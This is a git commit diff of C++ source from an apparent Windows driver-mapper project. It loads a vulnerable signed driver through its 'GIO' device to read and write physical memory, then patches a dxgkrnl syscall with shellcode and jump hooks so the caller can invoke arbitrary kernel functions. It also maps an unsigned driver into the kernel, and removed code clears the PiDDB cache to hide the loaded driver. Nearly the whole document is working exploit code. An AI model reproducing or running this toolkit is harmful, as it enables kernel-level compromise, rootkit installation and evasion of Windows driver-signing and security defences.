xerox
4 years ago
parent
11217828b8
commit
e40d0af25c
@ -1,367 +0,0 @@
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#include "kernel_ctx.h"
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namespace physmeme
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{
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kernel_ctx::kernel_ctx()
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{
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if (psyscall_func.load() || nt_page_offset || ntoskrnl_buffer)
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return;
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ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>(
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LoadLibraryExA(
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"ntoskrnl.exe",
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NULL,
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DONT_RESOLVE_DLL_REFERENCES
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));
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nt_rva = reinterpret_cast<std::uint32_t>(
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util::get_module_export(
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"ntoskrnl.exe",
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syscall_hook.first.data(),
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true
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));
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nt_page_offset = nt_rva % PAGE_SIZE;
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std::vector<std::thread> search_threads;
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//--- for each physical memory range, make a thread to search it
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for (auto ranges : util::pmem_ranges)
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search_threads.emplace_back(std::thread(
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&kernel_ctx::map_syscall,
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this,
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ranges.first,
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ranges.second
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));
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for (std::thread& search_thread : search_threads)
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search_thread.join();
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}
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void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const
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{
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//if the physical memory range is less then or equal to 2mb
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if (begin + end <= 0x1000 * 512)
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{
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auto page_va = physmeme::map_phys(begin + nt_page_offset, end);
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if (page_va)
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{
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// scan every page of the physical memory range
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for (auto page = page_va; page < page_va + end; page += 0x1000)
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{
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if (!is_page_found.load()) // keep scanning until its found
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{
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__try
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{
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if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
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{
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//
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// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
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//
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psyscall_func.store((void*)page);
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auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandleA(NULL));
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auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
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if (my_proc_base != my_proc_base_from_syscall)
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continue;
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is_page_found.store(true);
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return;
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}
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}
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__except (EXCEPTION_EXECUTE_HANDLER) {}
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}
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}
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physmeme::unmap_phys(page_va, end);
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}
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}
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else // else the range is bigger then 2mb
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{
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auto remainder = (begin + end) % (0x1000 * 512);
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// loop over 2m chunks
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for (auto range = begin; range < begin + end; range += 0x1000 * 512)
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{
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auto page_va = physmeme::map_phys(range + nt_page_offset, 0x1000 * 512);
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if (page_va)
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{
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// loop every page of 2mbs (512)
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for (auto page = page_va; page < page_va + 0x1000 * 512; page += 0x1000)
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{
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if (!is_page_found.load())
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{
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__try
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{
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if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
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{
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//
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// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
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//
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psyscall_func.store((void*)page);
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auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandle(NULL));
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auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
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if (my_proc_base != my_proc_base_from_syscall)
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continue;
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is_page_found.store(true);
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return;
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}
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}
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__except (EXCEPTION_EXECUTE_HANDLER) {}
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}
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}
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physmeme::unmap_phys(page_va, 0x1000 * 512);
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}
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}
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// map the remainder and check each page of it
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auto page_va = physmeme::map_phys(begin + end - remainder + nt_page_offset, remainder);
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if (page_va)
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{
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for (auto page = page_va; page < page_va + remainder; page += 0x1000)
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{
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if (!is_page_found.load())
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{
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__try
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{
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if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
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{
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//
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// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
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//
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psyscall_func.store((void*)page);
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auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandle(NULL));
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auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
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if (my_proc_base != my_proc_base_from_syscall)
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continue;
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is_page_found.store(true);
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return;
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}
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}
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__except (EXCEPTION_EXECUTE_HANDLER) {}
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}
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}
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physmeme::unmap_phys(page_va, remainder);
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}
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}
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}
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PEPROCESS kernel_ctx::get_peprocess(DWORD pid) const
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{
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if (!pid)
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return NULL;
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PEPROCESS proc;
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static auto get_peprocess_from_pid =
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util::get_module_export(
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"ntoskrnl.exe",
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"PsLookupProcessByProcessId"
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);
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syscall<PsLookupProcessByProcessId>(
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get_peprocess_from_pid,
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(HANDLE)pid,
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&proc
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);
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return proc;
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}
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void* kernel_ctx::get_proc_base(unsigned pid) const
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{
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if (!pid)
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return {};
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const auto peproc = get_peprocess(pid);
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if (!peproc)
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return {};
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static auto get_section_base =
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util::get_module_export(
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"ntoskrnl.exe",
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"PsGetProcessSectionBaseAddress"
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);
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return syscall<PsGetProcessSectionBaseAddress>(
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get_section_base,
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peproc
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);
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}
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void kernel_ctx::rkm(void* buffer, void* address, std::size_t size)
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{
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if (!buffer || !address || !size)
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return;
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size_t amount_copied;
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static auto mm_copy_memory =
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util::get_module_export(
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"ntoskrnl.exe",
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"memcpy"
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);
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if (mm_copy_memory)
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syscall<decltype(&memcpy)>(
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mm_copy_memory,
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buffer,
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address,
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size
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);
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}
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void kernel_ctx::wkm(void* buffer, void* address, std::size_t size)
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{
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if (!buffer || !address || !size)
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return;
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size_t amount_copied;
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static auto mm_copy_memory =
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util::get_module_export(
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"ntoskrnl.exe",
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"memcpy"
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);
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if (mm_copy_memory)
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syscall<decltype(&memcpy)>(
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mm_copy_memory,
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address,
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buffer,
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size
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);
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}
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void* kernel_ctx::get_physical(void* virt_addr)
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{
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if (!virt_addr)
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return NULL;
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static auto mm_get_physical =
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util::get_module_export(
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"ntoskrnl.exe",
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"MmGetPhysicalAddress"
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);
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return syscall<MmGetPhysicalAddress>(
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mm_get_physical,
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virt_addr
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);
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}
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void* kernel_ctx::get_virtual(void* addr)
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{
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if (!addr)
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return NULL;
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static auto mm_get_virtual =
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util::get_module_export(
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"ntoskrnl.exe",
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"MmGetVirtualForPhysical"
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);
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PHYSICAL_ADDRESS phys_addr;
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memcpy(&phys_addr, &addr, sizeof(addr));
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return syscall<MmGetVirtualForPhysical>(
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mm_get_virtual,
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phys_addr
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);
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}
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bool kernel_ctx::clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp)
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{
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static const auto piddb_lock =
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util::memory::get_piddb_lock();
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static const auto piddb_table =
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util::memory::get_piddb_table();
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if (!piddb_lock || !piddb_table)
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return false;
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static const auto ex_acquire_resource =
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util::get_module_export(
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"ntoskrnl.exe",
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"ExAcquireResourceExclusiveLite"
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);
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static const auto lookup_element_table =
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util::get_module_export(
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"ntoskrnl.exe",
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"RtlLookupElementGenericTableAvl"
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);
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static const auto release_resource =
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util::get_module_export(
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"ntoskrnl.exe",
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"ExReleaseResourceLite"
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);
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static const auto delete_table_entry =
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util::get_module_export(
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"ntoskrnl.exe",
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"RtlDeleteElementGenericTableAvl"
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);
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if (!ex_acquire_resource || !lookup_element_table || !release_resource)
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return false;
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PiDDBCacheEntry cache_entry;
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const auto drv_name = std::wstring(file_name.begin(), file_name.end());
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cache_entry.time_stamp = timestamp;
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RtlInitUnicodeString(&cache_entry.driver_name, drv_name.data());
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//
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// ExAcquireResourceExclusiveLite
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//
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if (!syscall<ExAcquireResourceExclusiveLite>(ex_acquire_resource, piddb_lock, true))
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return false;
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//
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// RtlLookupElementGenericTableAvl
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//
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PIDCacheobj* found_entry_ptr =
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syscall<RtlLookupElementGenericTableAvl>(
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lookup_element_table,
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piddb_table,
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reinterpret_cast<void*>(&cache_entry)
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);
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if (found_entry_ptr)
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{
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//
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// unlink entry.
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//
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PIDCacheobj found_entry = rkm<PIDCacheobj>(found_entry_ptr);
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LIST_ENTRY NextEntry = rkm<LIST_ENTRY>(found_entry.list.Flink);
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LIST_ENTRY PrevEntry = rkm<LIST_ENTRY>(found_entry.list.Blink);
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PrevEntry.Flink = found_entry.list.Flink;
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NextEntry.Blink = found_entry.list.Blink;
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wkm<LIST_ENTRY>(found_entry.list.Blink, PrevEntry);
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wkm<LIST_ENTRY>(found_entry.list.Flink, NextEntry);
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//
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// delete entry.
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//
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syscall<RtlDeleteElementGenericTableAvl>(delete_table_entry, piddb_table, found_entry_ptr);
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//
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// ensure the entry is 0
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//
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auto result = syscall<RtlLookupElementGenericTableAvl>(
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lookup_element_table,
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piddb_table,
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reinterpret_cast<void*>(&cache_entry)
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);
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syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
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return !result;
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}
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syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
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return false;
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}
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}
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@ -1,127 +0,0 @@
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#pragma once
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#include <thread>
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#include "../util/util.hpp"
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#include "../physmeme/physmeme.hpp"
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#include "../util/hook.hpp"
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namespace physmeme
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{
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//
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// offset of function into a physical page
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// used for comparing bytes when searching
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//
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inline std::uint16_t nt_page_offset{};
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//
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// rva of nt function we are going to hook
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//
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inline std::uint32_t nt_rva{};
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//
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// base address of ntoskrnl (inside of this process)
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//
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inline const std::uint8_t* ntoskrnl_buffer{};
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//
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// has the page been found yet?
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//
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inline std::atomic<bool> is_page_found = false;
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//
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// mapping of a syscalls physical memory (for installing hooks)
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//
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inline std::atomic<void*> psyscall_func{};
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//
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// you can edit this how you choose, im hooking NtShutdownSystem.
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//
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inline const std::pair<std::string_view, std::string_view> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
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class kernel_ctx
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{
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friend class mem_ctx;
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public:
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kernel_ctx();
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//
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// read kernel memory into buffer
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//
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void rkm(void* buffer, void* address, std::size_t size);
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//
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// write kernel memory from buffer
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//
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void wkm(void* buffer, void* address, std::size_t size);
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template <class T>
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T rkm(void* addr)
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{
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if (!addr)
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return {};
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T buffer;
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rkm((void*)&buffer, addr, sizeof(T));
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return buffer;
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}
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template <class T>
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void wkm(void* addr, const T& data)
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{
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if (!addr)
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return;
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wkm((void*)&data, addr, sizeof(T));
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}
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//
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// gets physical address from virtual
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//
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void* get_physical(void* virt_addr);
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//
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// uses the pfn database to get the virtual address
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//
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void* get_virtual(void* virt_addr);
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//
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// use this to call any function in the kernel
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//
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template <class T, class ... Ts>
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std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
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{
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static const auto proc =
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GetProcAddress(
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GetModuleHandleA(syscall_hook.second.data()),
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syscall_hook.first.data()
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);
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if (!proc || !psyscall_func || !addr)
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return {};
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hook::make_hook(psyscall_func, addr);
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auto result = reinterpret_cast<T>(proc)(args ...);
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hook::remove(psyscall_func);
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return result;
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}
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//
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// clear piddb cache of a specific driver
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//
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bool clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp);
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private:
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//
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// find and map the physical page of a syscall into this process
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//
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void map_syscall(std::uintptr_t begin, std::uintptr_t end) const;
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//
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// get a pointer to an eprocess given process id.
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//
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PEPROCESS get_peprocess(DWORD pid) const;
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//
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// get base address of process (used to compare and ensure we find the right page).
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//
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void* get_proc_base(unsigned pid) const;
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};
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}
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@ -1,48 +1,41 @@
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#include "map_driver.hpp"
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#include "mapper_ctx/mapper_ctx.hpp"
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#include "kernel_ctx/kernel_ctx.h"
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#include "vdm_ctx/vdm_ctx.h"
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#include "vdm/vdm.hpp"
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namespace mapper
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{
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std::pair<mapper_error, void*> map_driver(std::uint8_t* drv_image, std::size_t image_size, void** entry_data)
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auto map_driver(std::uint8_t* drv_image, std::size_t image_size, void** entry_data) -> std::pair<mapper_error, void*>
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{
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std::vector<std::uint8_t> drv_buffer(drv_image, image_size + drv_image);
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if (!drv_buffer.size())
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return { mapper_error::image_invalid, nullptr };
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if (!physmeme::load_drv())
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const auto [drv_handle, drv_key] = vdm::load_drv();
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if (drv_handle == INVALID_HANDLE_VALUE || drv_key.empty())
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return { mapper_error::load_error, nullptr };
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physmeme::kernel_ctx kernel;
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// after we setup the kernel_ctx we dont need any driver loaded anymore...
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if (!physmeme::unload_drv())
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return { mapper_error::unload_error, nullptr };
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// clear piddb cache of the loaded vuln driver...
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if (!kernel.clear_piddb_cache(physmeme::drv_key, util::get_file_header((void*)raw_driver)->TimeDateStamp))
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return { mapper_error::piddb_fail, nullptr };
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|
||||
// start a runtime broker suspended...
|
||||
const auto runtime_broker_pid = util::start_runtime_broker();
|
||||
const auto runtime_broker_pid =
|
||||
util::start_runtime_broker();
|
||||
|
||||
if (!runtime_broker_pid)
|
||||
return { mapper_error::failed_to_create_proc, nullptr };
|
||||
|
||||
physmeme::mem_ctx my_proc(kernel, GetCurrentProcessId());
|
||||
physmeme::mem_ctx runtime_broker(kernel, runtime_broker_pid);
|
||||
physmeme::mapper_ctx mapper(my_proc, runtime_broker);
|
||||
vdm::vdm_ctx v_ctx;
|
||||
nasa::mem_ctx my_proc(v_ctx, GetCurrentProcessId());
|
||||
nasa::mem_ctx runtime_broker(v_ctx, runtime_broker_pid);
|
||||
nasa::mapper_ctx mapper(my_proc, runtime_broker);
|
||||
|
||||
// allocate the driver in the suspended runtime broker and expose it to this process...
|
||||
const auto [drv_base, drv_entry] = mapper.map(drv_buffer);
|
||||
|
||||
if (!drv_base || !drv_entry)
|
||||
return { mapper_error::init_failed, nullptr };
|
||||
|
||||
mapper.call_entry(drv_entry, entry_data);
|
||||
|
||||
// mem_ctx destructors need to be called before kernel_ctx destructors...
|
||||
my_proc.~mem_ctx();
|
||||
runtime_broker.~mem_ctx();
|
||||
if (!vdm::unload_drv(drv_handle, drv_key))
|
||||
return { mapper_error::unload_error, nullptr };
|
||||
|
||||
return { mapper_error::error_success, drv_base };
|
||||
}
|
||||
}
|
||||
@ -1,23 +1,19 @@
|
||||
#include "../mem_ctx/mem_ctx.hpp"
|
||||
#include "../pe_image/pe_image.h"
|
||||
|
||||
namespace physmeme
|
||||
namespace nasa
|
||||
{
|
||||
class mapper_ctx
|
||||
{
|
||||
public:
|
||||
explicit mapper_ctx
|
||||
(
|
||||
physmeme::mem_ctx& map_into,
|
||||
physmeme::mem_ctx& map_from
|
||||
);
|
||||
std::pair<void*, void*> map(std::vector<std::uint8_t>& raw_image);
|
||||
bool call_entry(void* drv_entry, void** hook_handler) const;
|
||||
explicit mapper_ctx(nasa::mem_ctx& map_into, nasa::mem_ctx& map_from);
|
||||
auto map(std::vector<std::uint8_t>& raw_image)->std::pair<void*, void*>;
|
||||
void call_entry(void* drv_entry, void** hook_handler) const;
|
||||
|
||||
private:
|
||||
std::uint16_t pml4_idx;
|
||||
std::pair<void*, void*> allocate_driver(std::vector<std::uint8_t>& raw_image);
|
||||
auto allocate_driver(std::vector<std::uint8_t>& raw_image)->std::pair<void*, void*>;
|
||||
void make_kernel_access(void* drv_base);
|
||||
physmeme::mem_ctx map_into;
|
||||
physmeme::mem_ctx map_from;
|
||||
nasa::mem_ctx map_into, map_from;
|
||||
};
|
||||
}
|
||||
@ -1,94 +0,0 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <cstdint>
|
||||
|
||||
#include "../util/util.hpp"
|
||||
#include "../loadup.hpp"
|
||||
#include "../raw_driver.hpp"
|
||||
|
||||
#define MAP_PHYSICAL 0xC3502004
|
||||
#define UNMAP_PHYSICAL 0xC3502008
|
||||
|
||||
#pragma pack ( push, 1 )
|
||||
typedef struct _GIOMAP
|
||||
{
|
||||
unsigned long interface_type;
|
||||
unsigned long bus;
|
||||
std::uintptr_t physical_address;
|
||||
unsigned long io_space;
|
||||
unsigned long size;
|
||||
} GIOMAP;
|
||||
#pragma pack ( pop )
|
||||
|
||||
namespace physmeme
|
||||
{
|
||||
inline std::string drv_key;
|
||||
inline HANDLE drv_handle = NULL;
|
||||
|
||||
inline bool load_drv()
|
||||
{
|
||||
const auto [result, key] =
|
||||
driver::load(
|
||||
raw_driver,
|
||||
sizeof(raw_driver)
|
||||
);
|
||||
|
||||
drv_key = key;
|
||||
drv_handle = CreateFile(
|
||||
"\\\\.\\GIO",
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
NULL,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
return drv_handle;
|
||||
}
|
||||
|
||||
inline bool unload_drv()
|
||||
{
|
||||
return CloseHandle(drv_handle) && driver::unload(drv_key);
|
||||
}
|
||||
|
||||
inline std::uintptr_t map_phys(std::uintptr_t addr, std::size_t size)
|
||||
{
|
||||
//--- ensure the validity of the address we are going to try and map
|
||||
if (!util::is_valid(addr))
|
||||
return NULL;
|
||||
|
||||
GIOMAP in_buffer = { 0, 0, addr, 0, size };
|
||||
uintptr_t out_buffer[2] = { 0 };
|
||||
unsigned long returned = 0;
|
||||
|
||||
if (!DeviceIoControl(
|
||||
drv_handle,
|
||||
MAP_PHYSICAL,
|
||||
reinterpret_cast<LPVOID>(&in_buffer),
|
||||
sizeof(in_buffer),
|
||||
reinterpret_cast<LPVOID>(out_buffer),
|
||||
sizeof(out_buffer),
|
||||
&returned, NULL
|
||||
))
|
||||
return NULL;
|
||||
|
||||
return out_buffer[0];
|
||||
}
|
||||
|
||||
inline bool unmap_phys(std::uintptr_t addr, std::size_t size)
|
||||
{
|
||||
uintptr_t in_buffer = addr;
|
||||
uintptr_t out_buffer[2] = { sizeof(out_buffer) };
|
||||
unsigned long returned = NULL;
|
||||
|
||||
return DeviceIoControl(
|
||||
drv_handle,
|
||||
UNMAP_PHYSICAL,
|
||||
reinterpret_cast<LPVOID>(&in_buffer),
|
||||
sizeof(in_buffer),
|
||||
reinterpret_cast<LPVOID>(out_buffer),
|
||||
sizeof(out_buffer),
|
||||
&returned, NULL
|
||||
);
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,142 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <cstdint>
|
||||
|
||||
#include "../util/util.hpp"
|
||||
#include "../util/loadup.hpp"
|
||||
#include "raw_driver.hpp"
|
||||
|
||||
#define MAP_PHYSICAL 0xC3502004
|
||||
#define UNMAP_PHYSICAL 0xC3502008
|
||||
|
||||
#pragma pack (push, 1)
|
||||
typedef struct _gdrv_t
|
||||
{
|
||||
unsigned long interface_type;
|
||||
unsigned long bus;
|
||||
std::uintptr_t phys_addr;
|
||||
unsigned long io_space;
|
||||
unsigned long size;
|
||||
} gdrv_t, *pgdrv_t;
|
||||
#pragma pack (pop)
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
inline HANDLE drv_handle;
|
||||
__forceinline auto load_drv() -> std::pair <HANDLE, std::string>
|
||||
{
|
||||
const auto [result, key] =
|
||||
driver::load(
|
||||
vdm::raw_driver,
|
||||
sizeof(vdm::raw_driver)
|
||||
);
|
||||
|
||||
if (!result)
|
||||
return { {}, {} };
|
||||
|
||||
vdm::drv_handle = CreateFileA(
|
||||
"\\\\.\\GIO",
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
NULL,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
|
||||
return { vdm::drv_handle, key };
|
||||
}
|
||||
|
||||
__forceinline bool unload_drv(HANDLE drv_handle, std::string drv_key)
|
||||
{
|
||||
return CloseHandle(drv_handle) && driver::unload(drv_key);
|
||||
}
|
||||
|
||||
__forceinline bool read_phys(void* addr, void* buffer, std::size_t size)
|
||||
{
|
||||
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
|
||||
return false;
|
||||
|
||||
gdrv_t in_buffer;
|
||||
in_buffer.bus = NULL;
|
||||
in_buffer.interface_type = NULL;
|
||||
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
|
||||
in_buffer.io_space = NULL;
|
||||
in_buffer.size = size;
|
||||
|
||||
void* out_buffer[2] = { 0 };
|
||||
unsigned long returned = 0;
|
||||
|
||||
if (!DeviceIoControl(
|
||||
drv_handle,
|
||||
MAP_PHYSICAL,
|
||||
reinterpret_cast<void*>(&in_buffer),
|
||||
sizeof in_buffer,
|
||||
out_buffer,
|
||||
sizeof out_buffer,
|
||||
&returned, NULL
|
||||
))
|
||||
return false;
|
||||
|
||||
__try
|
||||
{
|
||||
memcpy(buffer, out_buffer[0], size);
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||
{}
|
||||
|
||||
return DeviceIoControl(
|
||||
drv_handle,
|
||||
UNMAP_PHYSICAL,
|
||||
reinterpret_cast<void*>(&out_buffer[0]),
|
||||
sizeof out_buffer[0],
|
||||
out_buffer,
|
||||
sizeof out_buffer,
|
||||
&returned, NULL
|
||||
);
|
||||
}
|
||||
|
||||
__forceinline bool write_phys(void* addr, void* buffer, std::size_t size)
|
||||
{
|
||||
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
|
||||
return false;
|
||||
|
||||
gdrv_t in_buffer;
|
||||
in_buffer.bus = NULL;
|
||||
in_buffer.interface_type = NULL;
|
||||
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
|
||||
in_buffer.io_space = NULL;
|
||||
in_buffer.size = size;
|
||||
|
||||
void* out_buffer[2] = { 0 };
|
||||
unsigned long returned = 0;
|
||||
|
||||
if (!DeviceIoControl(
|
||||
drv_handle,
|
||||
MAP_PHYSICAL,
|
||||
reinterpret_cast<void*>(&in_buffer),
|
||||
sizeof in_buffer,
|
||||
out_buffer,
|
||||
sizeof out_buffer,
|
||||
&returned, NULL
|
||||
))
|
||||
return false;
|
||||
|
||||
__try
|
||||
{
|
||||
memcpy(out_buffer[0], buffer, size);
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||
{}
|
||||
|
||||
return DeviceIoControl(
|
||||
drv_handle,
|
||||
UNMAP_PHYSICAL,
|
||||
reinterpret_cast<void*>(&out_buffer[0]),
|
||||
sizeof out_buffer[0],
|
||||
out_buffer,
|
||||
sizeof out_buffer,
|
||||
&returned, NULL
|
||||
);
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,93 @@
|
||||
#include "vdm_ctx.h"
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
vdm_ctx::vdm_ctx()
|
||||
{
|
||||
// already found the syscall's physical page...
|
||||
if (vdm::syscall_address.load())
|
||||
return;
|
||||
|
||||
LoadLibraryA("user32.dll"); // required for win32u.dll...
|
||||
vdm::dxgkrnl_buffer = reinterpret_cast<std::uint8_t*>(
|
||||
LoadLibraryExA("drivers\\dxgkrnl.sys", NULL,
|
||||
DONT_RESOLVE_DLL_REFERENCES));
|
||||
|
||||
nt_rva = reinterpret_cast<std::uint32_t>(
|
||||
util::get_kmodule_export(
|
||||
"dxgkrnl.sys",
|
||||
syscall_hook.first,
|
||||
true
|
||||
));
|
||||
|
||||
vdm::nt_page_offset = nt_rva % PAGE_4KB;
|
||||
// for each physical memory range, make a thread to search it
|
||||
std::vector<std::thread> search_threads;
|
||||
for (auto ranges : util::pmem_ranges)
|
||||
search_threads.emplace_back(std::thread(
|
||||
&vdm_ctx::locate_syscall,
|
||||
this,
|
||||
ranges.first,
|
||||
ranges.second
|
||||
));
|
||||
|
||||
for (std::thread& search_thread : search_threads)
|
||||
search_thread.join();
|
||||
}
|
||||
|
||||
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
|
||||
{
|
||||
const auto page_data =
|
||||
reinterpret_cast<std::uint8_t*>(
|
||||
VirtualAlloc(
|
||||
nullptr,
|
||||
PAGE_4KB, MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
));
|
||||
|
||||
for (auto page = 0u; page < length; page += PAGE_4KB)
|
||||
{
|
||||
if (vdm::syscall_address.load())
|
||||
break;
|
||||
|
||||
if (!vdm::read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
|
||||
continue;
|
||||
|
||||
// check the first 32 bytes of the syscall, if its the same, test that its the correct
|
||||
// occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)...
|
||||
if (!memcmp(page_data + nt_page_offset, dxgkrnl_buffer + nt_rva, 32))
|
||||
if (valid_syscall(reinterpret_cast<void*>(address + page + nt_page_offset)))
|
||||
syscall_address.store(
|
||||
reinterpret_cast<void*>(
|
||||
address + page + nt_page_offset));
|
||||
}
|
||||
|
||||
VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
|
||||
}
|
||||
|
||||
bool vdm_ctx::valid_syscall(void* syscall_addr) const
|
||||
{
|
||||
static std::mutex syscall_mutex;
|
||||
syscall_mutex.lock();
|
||||
|
||||
static const auto proc =
|
||||
GetProcAddress(
|
||||
LoadLibraryA(syscall_hook.second),
|
||||
syscall_hook.first
|
||||
);
|
||||
|
||||
// 0: 48 31 c0 xor rax, rax
|
||||
// 3 : c3 ret
|
||||
std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 };
|
||||
std::uint8_t orig_bytes[sizeof shellcode];
|
||||
|
||||
// save original bytes and install shellcode...
|
||||
vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
|
||||
vdm::write_phys(syscall_addr, shellcode, sizeof shellcode);
|
||||
|
||||
auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
|
||||
vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
|
||||
syscall_mutex.unlock();
|
||||
return result == STATUS_SUCCESS;
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,113 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <string_view>
|
||||
#include <vector>
|
||||
#include <thread>
|
||||
#include <atomic>
|
||||
#include <mutex>
|
||||
#include "../vdm/vdm.hpp"
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
// change this to whatever you want :^)
|
||||
constexpr std::pair<const char*, const char*> syscall_hook = { "NtGdiDdDDICreateContext", "win32u.dll" };
|
||||
|
||||
inline std::atomic<bool> is_page_found = false;
|
||||
inline std::atomic<void*> syscall_address = nullptr;
|
||||
|
||||
inline std::uint16_t nt_page_offset;
|
||||
inline std::uint32_t nt_rva;
|
||||
inline std::uint8_t* dxgkrnl_buffer;
|
||||
|
||||
class vdm_ctx
|
||||
{
|
||||
public:
|
||||
vdm_ctx();
|
||||
template <class T, class ... Ts>
|
||||
__forceinline std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
|
||||
{
|
||||
static const auto proc =
|
||||
GetProcAddress(
|
||||
LoadLibraryA(syscall_hook.second),
|
||||
syscall_hook.first
|
||||
);
|
||||
|
||||
static std::mutex syscall_mutex;
|
||||
syscall_mutex.lock();
|
||||
|
||||
// jmp [rip+0x0]
|
||||
std::uint8_t jmp_code[] =
|
||||
{
|
||||
0xff, 0x25, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00
|
||||
};
|
||||
|
||||
std::uint8_t orig_bytes[sizeof jmp_code];
|
||||
*reinterpret_cast<void**>(jmp_code + 6) = addr;
|
||||
vdm::read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
|
||||
|
||||
// execute hook...
|
||||
vdm::write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
|
||||
auto result = reinterpret_cast<T>(proc)(args ...);
|
||||
vdm::write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
|
||||
|
||||
syscall_mutex.unlock();
|
||||
return result;
|
||||
}
|
||||
|
||||
template <class T>
|
||||
__forceinline auto rkm(std::uintptr_t addr) -> T
|
||||
{
|
||||
static const auto ntoskrnl_memcpy =
|
||||
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
|
||||
|
||||
T buffer;
|
||||
this->syscall<decltype(&memcpy)>(
|
||||
ntoskrnl_memcpy, &buffer, (void*)addr, sizeof T);
|
||||
|
||||
return buffer;
|
||||
}
|
||||
|
||||
template <class T>
|
||||
__forceinline void wkm(std::uintptr_t addr, const T& value)
|
||||
{
|
||||
static const auto ntoskrnl_memcpy =
|
||||
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
|
||||
|
||||
this->syscall<decltype(&memcpy)>(
|
||||
ntoskrnl_memcpy, (void*)addr, &value, sizeof T);
|
||||
}
|
||||
|
||||
__forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t
|
||||
{
|
||||
static const auto ntoskrnl_get_virtual =
|
||||
util::get_kmodule_export(
|
||||
"ntoskrnl.exe",
|
||||
"MmGetVirtualForPhysical");
|
||||
|
||||
return this->syscall<MmGetVirtualForPhysical>(
|
||||
ntoskrnl_get_virtual, addr);
|
||||
}
|
||||
|
||||
__forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS
|
||||
{
|
||||
static const auto ps_lookup_peproc =
|
||||
util::get_kmodule_export(
|
||||
"ntoskrnl.exe",
|
||||
"PsLookupProcessByProcessId");
|
||||
|
||||
PEPROCESS peproc = nullptr;
|
||||
this->syscall<PsLookupProcessByProcessId>(
|
||||
ps_lookup_peproc,
|
||||
(HANDLE)pid,
|
||||
&peproc
|
||||
);
|
||||
return peproc;
|
||||
}
|
||||
private:
|
||||
void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
|
||||
bool valid_syscall(void* syscall_addr) const;
|
||||
};
|
||||
}
|
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